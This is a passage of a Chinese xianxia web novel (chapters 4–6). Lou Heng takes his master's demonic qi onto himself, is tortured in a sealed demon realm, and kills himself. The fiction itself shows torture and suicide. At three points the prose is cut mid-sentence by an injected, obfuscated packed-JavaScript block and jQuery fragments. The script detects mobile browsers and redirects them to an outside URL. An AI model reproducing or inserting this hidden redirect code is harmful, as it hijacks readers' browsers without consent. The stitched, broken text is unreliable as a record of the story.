舜之帝君只是报万分之一的希望在楼珩身上,却没想到他真的愿意豁出性命。
舜之帝君当然相信司青衔的眼光,更明白楼珩这些年的性情如何,只是蓬莱血案实在蹊跷,如果不是楼珩,凶手定是另有其人,只是现在三十六重天根本不想调查清楚,九冥只是想把这件事栽到楼珩身上,让他入万劫地狱,不复轮回。
“既然你执意如此,那本君就助你一程。”
舜之帝君掐指将灵力输送给池中的楼珩,直到输送了足足三百年的灵力,舜之帝君才收回手,他凝气平息了混乱的内息,无奈的叹了口气。
“从前我不明白司渊为何收你为徒,仙界诸家不缺出色的弟子,唯独你楼珩不是修仙的苗子,但司渊他执意收你为徒,修复你的仙根,甚至浪费了几百年修为,我曾笑他眼皮子浅,只想收个姿色过人的弟子,时至今日我才发觉你与旁人的不同,并非是生得好看,而是一颗赤诚之心,修道之人大多无情淡泊,司渊师承无情道,本就是无欲无求的神仙,但他活了几千年,自从收你为徒之后,我才真正认识司青衔,他变得会笑会生气,也清楚什么才是爱。”
想起司青衔再三嘱咐不要告诉楼珩魔气一事,这师徒二人真是如出一辙。
他顿了顿,继续说道:“人人都说你楼珩是三生有幸遇到司青衔,本君看来其实不然,司青衔何其有幸得遇能真正读懂他的知己,本君倒是有些羡慕司青衔,仙途漫漫,若无人相伴,便只有数不清的孤寂。”
楼珩听不懂冠冕堂皇的话,但他知道舜之帝君是真心对他好,他轻笑一声,道:“师尊于
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799305|175051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我而言重过性命,我这条命是师尊给的,倘若楼珩注定死劫难逃,那楼珩宁愿以己之命换师尊无恙。”
舜之帝君坦白道:“蓬莱禁地的封印里有许多孤魂怨鬼,封印里充满了浊气,但蓬莱却从未想过净化封印里的浊物,因为它是千年之前魔尊在蓬莱留下的痕迹,‘魔尊’这两个字象征着嗜杀、血腥、残暴、亦是令三界最忌惮的存在,魔尊一旦重临八荒六合,天下苍生都会被魔尊屠杀,彼时所有人都难逃死劫。”
楼珩不明白舜之帝君的话,既然魔尊早在千年前已经被神族扼杀,又怎会轻易复活,他自然不信魔族会卷土重来这种屁话,他只当舜之帝君是在杞人忧天,便随口敷衍道:“帝君不必忧心魔族,现下最要紧的是历劫成仙,然后将师尊身上的魔气引到我身上。”
“哎呀,差点忘了这茬事,这个你先拿着,连服三日,先让周身灵力压制在经脉之中,其余的暂等时机,我会尽早把你从这个鬼地方带回去。”
舜之帝君将身上全部的灵丹都掏出来,他只希望此举能让楼珩早日历劫成仙,云晚苓现在已经调查蓬莱的案子,其他两个门派也在调查中,不出月余就能有结果。
回到蓬莱山的舜之帝君开始研究能顺利历劫的法子,他翻看了不少历劫册,发现所有修仙者的历劫之时都是在灵力涌现最强的时候,周身经脉几乎要被灵力冲爆,彼时天空乌云密盖,雷声连连,修仙者只要撑过天雷便能成功渡劫。
舜之帝君倒不担心天雷,楼珩毕竟是司青衔的爱徒,司青衔自然是对楼珩极好的,甚至可以说整个仙界都不会师父对徒弟如此纵容溺爱。
就单单是楼珩每天喝的米粥都是千年雪莲熬制而成,那可是极难养育的千年雪莲啊,司青衔却丝毫不心疼,司青衔那厮每日一株千年雪莲熬进粥里的举动看得舜之帝君心梗。
不仅如此,司青衔还将昆仑山养了几十年的山鸡野鸭通通抓回去给楼珩炖汤,一提到那些山鸡野鸭,舜之帝君就心疼得不得了。
迟绪端着一碗热气腾腾的鸡汤和一盒子糕点敲响了侧殿的门,“师父。”
“进来吧。”舜之帝君在堆满医书史册的桌子上整理出一小块地方,他笑眯眯的看着迟绪,手指敲了敲桌面,“放这儿。”
“师父,您这是在拆人家仙尊的家呢?”
迟绪看着遍地狼藉的屋子,实在有些下不去脚,他艰难的走过去,还没等他放稳食盒手上的鸡汤就被舜之帝君夺走了,迟绪剩下的半截话卡在喉间,硬生生咽了回去。
舜之帝君一口气喝了大半碗鸡汤,赞叹道:“啧啧啧,怪不得司青衔爱给楼珩这小子熬汤,味道是真不错啊。”
一旁的迟绪看着舜之帝君这副做作的样子头都大了,司渊仙尊都瘫在床上半死不活了,师父还能乐呵呵的喝汤,便小声嘀咕道:“师父也太没良心了。”
迟逾不知何时站在迟绪身侧,他一看到舜之帝君的动作就知道师父是装出来的,他拍了拍迟绪的肩,解释道:“师父哪里是没心没肺,他脸上的笑是装的,你现在还小,不知道司渊仙尊对师父有多重要,等以后你就懂了。”
“行了,鸡汤我也喝了,你俩就先回去吧,迟绪,记得明日去三十六重天把楼珩带回昆仑,本君要助他渡劫成仙。”
舜之帝君把碗放在桌上,随手拿起一卷史册继续翻阅,他现在最发愁的是楼珩究竟能不能成功历劫。
迟绪一想到三十六重天,眼前就浮现出九冥尊者的恶毒嘴脸,那简直是尖酸刻薄,他深深地叹了口气,“师父,九冥帝君的脾性您又不是不知道,他怎会轻易交出阿珩,您这是为难弟子啊。”
舜之帝君慢悠悠的开口,“九冥他就是个疯子,对付他本君自有法子。”
现下最大的麻烦就是九冥帝君,那厮一定不会轻易放过楼珩,既然如此只好用上这一招了。
4. 第四章
“真没想到这么容易就把阿珩带出了三十六重天死牢,这也太顺利了吧。”
迟绪背着早已昏厥的楼珩走出了地牢,他还以为今日要跟三十六重天的人大打出手,亏他还带了不少昆仑弟子,没想到九冥尊者早就闭关修炼了,今儿压根没露面。
迟逾看着昏睡在迟绪肩头的青年,他伸手抚平了青年紧蹙的眉头,只觉得这少年长得确实不错。
迟逾与楼珩见面不多,所以对这人了解甚少,但阿绪对他评价颇高,就连他这个做师兄的都比不上某人口中阿珩,所以他对楼珩更多的是好奇。
他好奇楼珩究竟是怎样的人,能让清冷似皎月的玉阙真人收他为徒,能让一向眼高于顶的迟绪甘拜下风,能让克己复礼柳成荫不惜违抗师命也要救回来的楼珩,这到底是怎样一个人。
“师兄,你都盯着阿珩看了一路,你到底怎么了?”
迟绪被迟逾盯得浑身不自在,他掐指变出狐皮大氅将楼珩裹了个严严实实,他还没见过师兄这眼神,怪渗人的。
迟逾被揭穿后有些尴尬,他清了清嗓子,道:“楼公子倒是生了副好皮囊,比我几百年间见过的仙子美人都要好看,他是吃了什么才能生得这般好看,就连锁骨上的这颗痣都这么迷人。”
迟绪认真的想了好一会儿,答道:“阿珩没吃过什么特殊的东西,可能是他阿娘长得好看,司渊仙尊刚把阿珩带回蓬莱的时候,这小子简直就是个丑八怪。”
他说着连自己都忍不住笑出声:“当时师父听说司渊仙尊收了个小瞎子当徒弟,非要去镜花台看小瞎子长什么样,结果被仙尊一顿刁难,最后灰溜溜回了昆仑,我第二次见到阿珩是在试炼大会上,他那一套剑法使得极好,却连前十都没能进,仙尊非但没有罚他,还给他寻了只夫诸做宠物。”
迟逾听出来迟绪落寞的语气,他侧首看了一眼迟绪的神情,问:“所以你很羡慕楼珩?”
迟绪苦笑道:“师父待我们极好,可从来都是有分寸有规矩,我从未见过仙家门派有像仙尊一样纵容弟子的师父,所以阿珩他被仙尊养得很好,师兄你不要相信外界那些辱骂阿珩的话。”
迟逾无奈的笑了笑,“师兄不信旁人胡诌,但你的话我什么时候质疑过?”
镜花台从半月前就下起了雪,高台大殿、竹林花苑都覆上一层厚雪,就连天池的水都漂着薄霜。
楼珩看着镜花台的一砖一瓦、一草一木,都是他再熟悉不过的,他跟司青衔有太多回忆留在镜花台,可这些回忆注定只能留在镜花台。
楼珩缓步走到司青衔的寝殿前,骨骼分明的手刚推开一道门缝,只听见殿内人的嘶哑嗓音,“舜之,今日我好像能说话了。”
楼珩停滞在半空的手一颤,心脏像是被一只大手紧紧攥住,连呼吸都变得困难起来,他喃喃道:“师尊。”
身侧的舜之帝君上前将殿门推开,然后扶住了身形不稳的楼珩,安抚道:“无妨,司渊他暂时失去五感,看不到也听不到,你可以进去陪他一会儿。”
楼珩心头一震,五感尽失?短短月余师尊竟然失了仙体,落到如此狼狈的地步,他抬眼看向舜之帝君,急切问道:“是不是只要魔气离体,师尊就能恢复仙身,只要有人承受魔气,他就能好好的活下去。”
舜之帝君答道:“若你能在封印里撑过七日,我便有把握修复司渊的仙体,可它毕竟是上古魔族遗留的封印,在里面绝不会好受,心智不坚者不到两日就会选择自尽来结束痛苦。”
他顿了顿,将自己的顾虑说出来,“本君担心你撑不住,到时候本君无法跟司渊交代,依照你师父的脾性,怕是要把我生吞活剥了。”
楼珩看向躺在软榻上的男人,隔着一层薄纱依然能看出此人消瘦许多,像是一片枯叶,轻轻一碰就会碎成几瓣。
师尊是仙界翘楚,仙法剑术灵力都远胜于旁人。
而现在的司青衔躺在榻上,五感全废、仙力尽失与凡人没有区别。
那张用来写诗绘丹青的桌子上堆满了汤药和灵丹,就连平日熏香的炉子也换成了暖炉,满屋的青蓝色珠帘床幔都换成了颜色。
这一切太过陌生,完全颠覆了楼珩对镜花台的印象。
九冥帝君说得对,他就是天煞灾星,无论到哪儿都会带来灾祸,阿娘因他而死,东萝村被他连累染上疫病,司青衔亦是如此。
楼珩突然觉得自己早该死在十三年前的雪天,他自嘲的笑出声,“帝君无需担忧,楼珩这条命硬得很,我一定会活着走出封印,帝君不必顾虑楼珩的安危,只要师尊能安然无恙,楼珩死不足惜。”
楼珩一手撩起垂在地上的薄纱珠帘,清脆的珠落声在殿内响起,躺在榻上的男人眼前覆了条青色绸带,楼珩在床沿处坐下,素白的手轻轻抚上师尊的脸庞,小心翼翼的样子像是在对待一件稀世珍宝。
“师尊。”
“…………”舜之帝君很有眼色地离开寝殿,走的时候还不忘了顺手把门关上。
榻上的黑袍男人感觉到有人坐在床沿,便以为是舜之,司青衔素白的手撑在身侧,他缓缓坐起身,开口问道:“舜之,阿珩的毒解了吗?”
楼珩闻言一愣,师尊最放心不下的竟然是身中奇毒的自己,他轻声道:“师尊,我回来了。”
“舜之?”司青衔以为舜之帝君又忘了自己听不到,直接伸出白皙的手掌,道:“你又忘了我现在听不见,写下来吧。”
楼珩垂下眼帘,盯着师尊布满紫痕的手看了许久,在死牢时他有许多想说的话,现在见到了司青衔反而说不出口,日夜堆积的思念堵在心头,一时竟不知从何说起,真是应了那句‘物是人非事事休,欲语泪先流’。
楼珩掀起眼皮仔细端详司青衔的面容,一想到以后再也见不到眼前人,楼珩便觉心如刀绞,他下意识直接扑进司青衔怀里,等脑子反应过来的时候,已经隔着一层布料感受到师尊的心跳了。
此刻的楼珩又变回了当年快要冻死的小瞎子,他只有师尊了,所以他绝不能失去师尊。
他紧紧抱住身形单薄的司青衔,哽咽道:“师尊,都是我的错。”
司青衔自然清楚抱住自己的不是别人,他感受到埋在自己颈窝的楼珩浑身都在颤抖,心底一疼,冰凉的手抚上怀里人的脑袋,温声道:“阿珩,你回来了。”
楼珩沉默着抬手擦去自己脸上湿漉漉的泪痕,他只想再搂紧一点,最好一辈子都不要跟师尊分开,司青衔似乎感知到楼珩的悲伤,他伸手揽住楼珩的腰,将人紧紧搂在怀里,安抚道:“阿珩,为师会好起来的,你不要担心。”
司青衔每日清醒的时间不多,只有一个时辰左右,没过多久司青衔就沉沉睡去,楼珩守了司青衔一整晚,直到后半夜楼珩才疲累地入睡。
天上的云逐渐变白,橙红的太阳悬在半空,殿外枝上的鸟叫声惊扰了睡梦中的楼珩,他缓了好一会儿才反应过来自己是在镜花台,而不是阴暗潮湿的地牢。
“算算时间天雷该降下了。”
楼珩轻叹一声,刚要起身却被身侧的司青衔抓住了手腕,他周身一震,骨节分明的手指试图掰开攥司青衔的手,奈何这人在睡梦里也是执拗得很,丝毫不肯松开半分,楼珩见状只好俯身吻上司青衔紧握的手,低声哄道:“阿渊,听话,我等会儿就回来。”
司青衔像是听懂了楼珩的话,竟然真的松开了桎梏楼珩的手,楼珩侧眸不经意略过司青衔的面容,师尊沉睡的样子也这么好看,他忍不住再多看片刻,轻笑道:“玉阙真人皎如明月,气质出众,沾不得一丝尘埃,世人皆道画中仙人衣诀翩翩,却不知真正的画中仙人无论做什么都是极好看的。”
十三年前楼珩在最绝望的时候抓住了冲破黑暗的光,可惜老天爷开了个极大的玩笑,楼珩在最意气风发的年纪失去了渡劫成仙的机会。
其实楼珩一直都很怕死,他从小就饱受折磨,他明白人只要活着比什么都重要。
当年的小瞎子就是凭借着异于常人的求生欲苟且偷生,撑过了一次又一次的殴打和虐待,熬过了无数个饥寒交饿的夜晚,好不容易才有了一线生机。
楼珩从没想过自己会有一天心甘情愿赴死,于他而言,司青衔就是比命还重要的例外。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799306|175051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
不到半个月的时间,楼珩突破了修仙的最后一层,也许是他悟性太高,历劫时连天雷都没劈下来,就这么顺利渡劫成仙。
在进入后山禁地前一日,楼珩去了人间某处镇上,故地重游的心情并不算轻松,楼珩很清楚这是最后一次回到自己跟师尊游历的地方。
楼珩路过以前常去的铺子时,店家很热情的招呼,“客官,您要点什么?”
楼珩复杂的目光落在蒸笼上摆放整齐的桂花糕上,他从荷包里掏出几枚铜钱,放到店家面前的桌上,道:“就要这个吧。”
店家手脚利落的包好了一份桂花糕,递过去的时候还不忘了吹嘘两句,“全镇子只有我们家桂花糕做得最好吃,保证您吃完下回还来。”
好吃的话,以后也不会再来了。
楼珩打开荷叶拿起一块热气腾腾的桂花糕咬了一小口,入口清甜,倒是不难吃,只是跟上次比起来还差得远了。
他刚想将荷叶重新包起来却被蜷缩在墙根下的小乞丐拽住了衣摆,乞求道:“哥哥,你能把那个给我吗?”
楼珩看着衣衫褴褛的小乞丐,复杂的眼神变得空洞,他好像透过这个孩子看到了当初的自己,心陡地一软,弯腰将荷叶塞到小乞丐怀里,然后掏出几枚金锭放到小乞丐手上,温声道:“哥哥可以请你吃更多好吃的,但以后你要学会谋生的手艺,可以种果子当个小贩,也可以给店家打杂,但是不要一直乞讨,知道了吗?”
小乞丐似懂非懂的点了点头,他掰了一块桂花糕放进嘴里,疑惑问道:“哥哥,你不喜欢吃这个吗?”这是他吃过最好吃的东西,怎么会有人不爱吃呢?
楼珩摸了摸小乞丐的脑袋,解释道:“因为哥哥现在长大了。”其实变的不是味道,是身边少了个人,才会觉得食之无味。
看着绿衣青年离开的身影,小乞丐觉得这个哥哥很奇怪,跟人傻钱多的小杏一样,总爱说乱七八糟的话,反正他是听不懂。
小乞丐嚼着热腾腾的桂花糕,嘀咕了一句,“长大了就不爱吃甜糕了,那我不要长大了。”
山峦叠嶂,残日西沉,山林间时不时传来几声空灵的鹿鸣声。
楼珩拎着一篮菱角走在崎岖小路上,前面不远就是蓬莱的山门,山门前有两座瑞兽石像。
迟绪就蹲在石像旁边等某人回来,他刚瞥见楼珩的身影就迫不及待的跑过去,问道:“阿珩你怎么不御剑,或者用瞬移术,你不是修成仙身了吗?我听师父说你要转移司渊仙尊身上的魔气,你是不是疯了?”
楼珩不紧不慢的剥着菱角,答道:“是啊,不过我懒得念诀,多走走挺好的。”
答非所问便是答案了……
迟绪一脸气愤地看着自顾自吃菱角的某人,恨铁不成钢的推了下楼珩的肩膀,骂道:“你就非要去送死吗?楼珩,别人都想好好活着,就你是个蠢的,非要去送死,你是不是脑子被驴踢了?!”
楼珩平静地看着发疯的迟绪,他顿了几秒,嘴角扬起一抹笑,无奈的摇了摇头,“迟绪你都多大了,真不知道舜之帝君怎么忍受得了你这聒噪的性子,你离我远一点。”
迟绪真要被楼珩这厮气疯了,他直接上前拽住楼珩的衣领,质问道:“你当真要将魔气引到自己身上?你知不知道你要承担什么后果?!”
最坏的结果就是楼珩魔气侵体,一旦魔化就要被帝君诛杀,连尸体都不会留。
可那又怎样?总好过日日夜夜活在悔恨和回忆里,以前的日子已经够苦了,他半分都不想再尝。
楼珩当然知道迟绪在担心什么,他平静地握住迟绪的手,淡淡开口,“阿绪,我很清楚我在做什么,但师尊是为了救我才被魔气缠身,他现在所承受的痛苦都是因我而起,这是我唯一能为他做的。”
迟绪还想说什么,却被楼珩握紧了手,“阿绪。”
他呆呆地看着眼前人,楼珩笑着抚上迟绪腰间的一品灵器,郑重开口,“若是我真的魔化失控,你们一定要杀了我,不要让师尊看见我如此不堪的一面。”
迟绪听见自己哽咽的声音应了一声,“好。”
5. 第五章
终于到了转移魔气的日子,楼珩早已将招魔诀背得滚瓜烂熟。
迟绪把三百年修为渡到楼珩身上,云晚苓把滋养玉烛烬的灵石都用在了楼珩的一品灵器上。
他们心里清楚楼珩此番九死一生,但还是竭尽全力帮楼珩最后一次,他们期盼楼珩能活着走出封印。
蓬莱山的结界和生机灵气全靠司青衔、云诸、掌门柳不覆三位尊者坐镇蓬莱运转灵气。
如今司青衔没了仙体,蓬莱自然是大不如以前。
后山的草木早已变成枯木,就连山泉灵潭也变成了一池死水,整座后山都弥漫着死气沉沉的腐蚀气息。
楼珩环视四周的景象,他从未想过后山有朝一日会了无生机,他记得以前的后山遍地野花,一到晚上就有萤火虫出现。
他俯身摘下一朵早已枯萎的野花,喃喃道:“原来后山早已千疮百孔,我还以为只要有了蛟龙骨,师尊就会好起来,真是可笑。”
舜之帝君拂袖凭空变出昆仑法器‘定乾坤’。
这件法器是用来转移乾坤,至阴至阳之物都会被吸入法阵,魔气也不例外。
他用法器在结界外设下阵法,问道:“楼珩,你可准备好了?”
楼珩将辞暮佩在腰间,应道:“帝君,可以开启阵法了。”
站在楼珩身后的舜之帝君将一张符纸贴在楼珩背后,默念几遍法咒,阵法亮起一道刺眼的金光。
直到金光亮起,迟绪才看清结界上的上古咒文,他心陡地一紧,这难道是上古魔族的术法?
“这是魔族的阵法结界?”
迟绪侧首向舜之帝君求证,他清楚看到帝君脸色凝重,瞬间就确定结界上的咒文果然是魔族之物,楼珩此举无疑是拿性命做一场豪赌。
他被眼前的结界惊得连连后退,
“您的意思是楼珩必须要在封印里撑过七日才能成功转移仙尊身上的魔气,如果他没撑过去可能就会魂飞魄散,那可是上古魔尊遗留下来的封印,师父,希望太渺茫了,您劝劝阿珩吧。”
舜之帝君摇了摇头,他们心里都很清楚,楼珩早就做好了九死一生的准备,能否撑过七日要看命数。
他拍了拍迟绪的肩,道:“楼珩早就选好了,在地牢里他曾说只要他还有一口气,就不会眼睁睁看着司青衔死。”
"…………"
迟绪扭过头不愿意再看楼珩一眼,他尊重楼珩的选择,但他做不到坦然接受楼珩必死的结局。
当楼珩后背贴的符咒亮起的一瞬,迟绪还是没忍住喊了出来,“楼珩你不许死在里面,否则老子烧了这片山,听到了吗?”
楼珩并没有回答迟绪的问题,他紧握手中的玉佩,唇角浮起一丝笑容,“傻子。”
楼珩刚踏进结界就被一股强大的风吸进封印之中,耳边是风吹过的呼啸声,脚下根本没有着力点。
眼前一片浓黑,连一丝光影都瞧不见,天旋地转的晕感让楼珩忍不住想骂娘:奶奶的,这到底是什么鬼地方,就算是封印魔族的结界也不能连点光都没有吧!
时间仿佛静止在这一刻,楼珩只觉浑身酸软无力,他连抬手的力气都没有了,这种失重的无力感直到很久之后才逐渐消散。
楼珩掐指在手心燃起一团火苗,他稍稍松了口气,毕竟自己实在是怕黑,总算能在这个鬼地方有点光了。
楼珩发现自己能看到的全部东西都暗淡无色,像是另一个冥界,不对,这里比冥界的阴气更重。
楼珩缓步走在一条崎岖小路上。
他刚想看清前面的水潭就被一个冤魂拽住了脚踝,楼珩手上的火苗瞬间熄灭,紧接着有无数只千疮百孔的手拽住了楼珩,他被硬生生拽进水潭,然后就是昏厥过去。
第一日,楼珩被十几只妖邪拽到了一处泥潭,泥潭下是无数妖邪恶鬼,也是封印里浊气最重的地方,妖邪们用锋利的石头割断了楼珩的脚筋,它们大笑着将昏死过去的楼珩拽下泥潭,殷红的血迹残留在泥潭外的草丛间。
第二日,楼珩被万鬼缠身,无数的妖邪都在吸取楼珩的灵力和阳气,它们从没见过上仙的仙体,这简直是宝贝,是一旦吸食就停不下来的宝贝。
第三日,披发女妖的手抓烂了楼珩的脸,她笑吟吟的看着楼珩,然后把他的手指一根根掰断,楼珩清楚的感受到指尖一阵钝痛,他知道自己以后再也拿不起长剑玉鞭了。
第四日,楼珩的血几乎被吸干了,仍有许多的妖邪缠在楼珩身边不肯离去,它们恨不得将楼珩每一寸血肉每一滴血液都吞下去。
第五日,妖邪开始察觉到楼珩快死掉了,楼珩的衣服早就与血肉黏在一起,很多新的伤口在继续流血,妖邪们不想让这样的宝贝轻易死掉,他们停下对楼珩的折磨,围着他念咒,楼珩早就听不到了。
第六日,楼珩的心底只有一个念头,‘七日之期一过,司青衔便有了生机’,他早就是一具行尸走肉的怪物了,楼珩已经不再是举世闻名的楼闻晏了,但司青衔必须是高悬九天的玉阙真人。
七日过后,司青衔体内的魔气全部被转移到后山禁地内的楼珩身上,舜之帝君用了许多宝物法器,清除了司青衔身上残留的魔气,司青衔的仙根算是保住了,只可惜楼珩是保不住了。
舜之帝君的心情并没有放松,反而变得紧张起来。
他知道楼珩秉性纯良,可楼珩一旦入魔,很难再控制心绪,彼时他就会变成一个嗜杀的魔物,这样的楼珩到底该不该除?
舜之帝君看向榻上昏迷的司青衔,叹道:“司渊,如果你看到入魔的楼珩,一定会恨透我吧。”
不知从何时开始,楼珩已经不再流血。
背上深可见骨的伤口在慢慢愈合,他清晰的感受到自己的经脉正在修复,现在虽然失血过多,但是脑子越来越清醒。
四周的妖邪怨鬼还在吸食楼珩身上的灵力,它们不再伤害楼珩。
因为楼珩体内的魔气越来越重,它们能感知到魔气的存在,它们认定楼珩就是魔族,千年前就覆灭的魔族竟然重新出现在魔族结界里,这真是个有趣的事情。
它们急切的等待着,等待楼珩身上的魔气越来越多,等待楼珩有朝一日能冲破神族封印,让它们都能逃出去。
楼珩对这些妖邪态度的转变深感不解,这是圣母心发作了?
管他呢,这些妖邪应该是被驴踢了脑袋。
彼时楼珩还在心里沾沾自喜,如果能撑到舜之帝君来接他出去,那他就能见到师尊了。
“嘶……”
楼珩勉强动了下手指,血肉模糊的手心里还紧紧握着那块玉佩。
这是师尊亲手雕琢的,他原本不喜欢这些小玩意,但看在师尊亲手雕刻的份上,他还是喜滋滋挂在腰带上,连睡觉都要放在枕下,片刻都不曾离身。
约莫又过了两日,楼珩身体恢复了大半,楼珩开始察觉到自己的异样,自从身体恢复之后他就控制不住自己的行为了,当他看见那些妖邪的时候,第一反应不是忌惮,而是兴奋。
就好像这些妖邪的出现
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799307|175051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
激发了楼珩嗜杀的本性。
不,是魔气的本性,他体内的魔气并不满足现在虚弱的楼珩,它控制着楼珩杀了其中一只妖,只是一瞬间的功夫,那只妖就倒在了楼珩面前。
当楼珩清醒的时候,那只妖的内丹已经被自己挖出来了,楼珩看着血淋淋的手掌紧握着妖丹,心头一颤,他这是在干什么?!
楼珩终于明白自己身体为何恢复得极快,也明白禁地里的妖邪都不敢再靠近他的原因。
楼珩将那颗泛着紫光的内丹狠狠掷了出去,他拔下发簪狠狠刺进心口处,怒吼道:“你给老子滚出来!你就是个屁!你也配掌控我的意识,它们即便是妖,也不是你滥杀的借口!什么狗屁上古魔族,原来都是杀人嗜血的魔头,你从老子的身上滚出去!”
楼珩变得越来越嗜杀,他恨不得将结界里的妖都杀个干净,无时不刻都在压制体内的魔气。
他清晰的感知到自己的仙根在慢慢腐烂消散,取而代之的是魔族的本性,刻在骨子里的嗜杀重戾让他越来越痛苦。
楼珩终于理解舜之帝君口中的‘求生不得、求死不能才是最大的痛苦’。
是啊,他不想死,他想活着回镜花台。
因为镜花台有师尊,师尊在镜花台孤寂了千年,好不容易有了楼珩作伴,却又要得而复失,老天爷真是不公。
楼珩不是没想过用‘诛祟’了断自己,但他有放不下执念,也有想见的人,所以他舍不得去死。
直到楼珩再次失控,他竟然试图冲破神族封印,全部的妖邪都聚集在封印,它们心甘情愿把自己的内丹献给楼珩,只求楼珩强行打开封印。
当结界上的符咒亮起的一瞬,楼珩的意识再次清醒,他明白自己现在已经是魔,他不能再回到镜花台了。
因为他不配,师尊他不会喜欢一个入了魔的孽障,蓬莱无法容忍一个怪物,三界内都容不下一个楼珩,唯有一死才能解脱。
今日就是舜之帝君设下回溯阵法的日子。
楼珩背后是符咒开始散发着金光,他清楚地听到结界外的嘈杂声,应该是迟绪他们在结界外等自己安然无恙的出去。
可惜楼珩已经决定永远留在封印里,
楼珩骨骼分明的手握紧辞暮,剑刃上被舜之帝君封了‘诛祟’的术法,只要一剑刺穿心脏,不会痛苦太久的。
“嗡嗡嗡——”
辞暮身为一品灵器自然开了灵识,它拼命挣扎着发出剑鸣声,它身为灵器应该保护主人,而不是伤害主人。
“噗呲——”锋利的剑刃狠狠捅进心口位置。
楼珩紧紧握着辞暮的手轻轻松开了,又想起应该安抚辞暮便顺手摸了摸剑身,道:“你不必自责,你既然是仙界灵器法宝,自然该除妖杀魔,这不是背叛。”
楼珩咬破食指,将血点在剑柄处,长剑骤然失去了灵识,锋利的剑刃又生出了两寸。
‘诛祟’术法的效果显著,楼珩心口的血痕涌出许多紫色魔气,随着楼珩呼吸越来越微弱,魔气就消散得越来越快。
所有经脉都在崩烂,五脏六腑在慢慢枯竭,他只觉得周身像是被烈火焚身一样痛不欲生。
直到楼珩失去了最后一丝力气,他在死之前想起舜之帝君说过‘诛祟’一点都不痛,他自嘲地笑了笑,骂道:“舜之帝君,你骗人,还说一点都不痛,太疼了……”
“阿珩!”
一道熟悉的声音在楼珩耳边响起,他努力睁开眼想看清楚那人的面容,却只看到一抹水蓝色。
6. 第六章
“轰隆——”
一声雷鸣巨响从结界中传出,结界外的迟绪和云晚苓被结界中涌出的强大法力震出数米远,他们面面相觑,料定结界内发生了巨大变故。
云晚苓刚想上前用蓬莱秘术探查结界内的情况,她施法的手腕猛地被人拽回来,迟绪一脸严肃地看着结界内仍在动荡的一股强大法力,他皱眉道:“恐怕是妖邪作祟,你先不要靠近,师父马上就回赶来,等他的‘定乾坤’镇住结界内的妖邪,我们才能把阿珩接出来。”
舜之帝君赶到的时候,结界处布下的阵法摇摇欲坠,恐怕很难镇得住结界内的妖邪,直到舜之帝君开启‘定乾坤’,无数道金光刺穿结界,将结界内的瘴气驱散干净。
一旁的云晚苓刚要使出召唤术,只见舜之帝君掐指念诀,探查结界内一番情况后,帝君很清楚结界内已经毫无生息,果然楼珩还是选择了自尽,他收回法器,道:“楼珩他已经做出了选择。”
“什么叫做出了选择?帝君,您这话我听不明白。”云晚苓手上的召唤术仍在凝聚,无论楼珩是否入魔,他都是蓬莱弟子,应该带回镜花台任由师尊处置。
舜之帝君答道:“楼珩现下已然入魔,以他的心性怕是已经自尽了。”
云晚苓将召唤符挥出去,道:“哪怕阿珩入了魔,我也不信他会死,还望帝君谅解我身为大师姐,断然没有放弃任何一个师弟的道理。”
“罢了罢了,你且一试。”
舜之帝君并未阻拦云晚苓,他知道云晚苓一旦拿定主意,谁都劝不动她。
云晚苓的召唤符在结界上方漂浮许久才缓缓落回她的掌心,最坏的结果出现了,召唤符没有感应到楼珩的气息,哪怕是一丝残存的气息都不曾察觉。
即便如此,云晚苓仍然没有放弃,她毫不犹豫划破掌心,殷红的血滴在‘定乾坤’上,法器瞬间亮起一道蓝光,这道光从阵法外照进结界内,蓝光尽头也许能找到楼珩。
云晚苓直接召唤出玉烛烬,她跪在舜之帝君面前,恳求道:“阿珩是我蓬莱弟子,即便是入了魔,也不该永生永世困在这一方天地,弟子恳请帝君送我进结界,我只要一炷香的时间。”
舜之帝君原本想拒绝,奈何云晚苓修为不比他差多少,就连迟绪都拦不住她,索性将‘定乾坤’交到云晚苓手中,嘱咐道:“定乾坤原本只能用一次,但你执意要进去,本君就给你一炷香的时间,你若是还没有出来,它会强行将你带出结界,如果找不到楼珩,那便是他的命数了。”
“多谢帝君成全。”
云晚苓眼神坚定地看着瘴气消散不少的结界,她起身将‘定乾坤’收进袖中,果断决绝的踏进了阵法。
玉烛烬紧跟其后,一人一灵器就这样消失在结界里。
那抹青色在金光阵法中显得纤弱又坚毅,舜之帝君感慨道:“蓬莱弟子倒是个个都有仙人风骨。”
"云晚苓,你疯了?!"
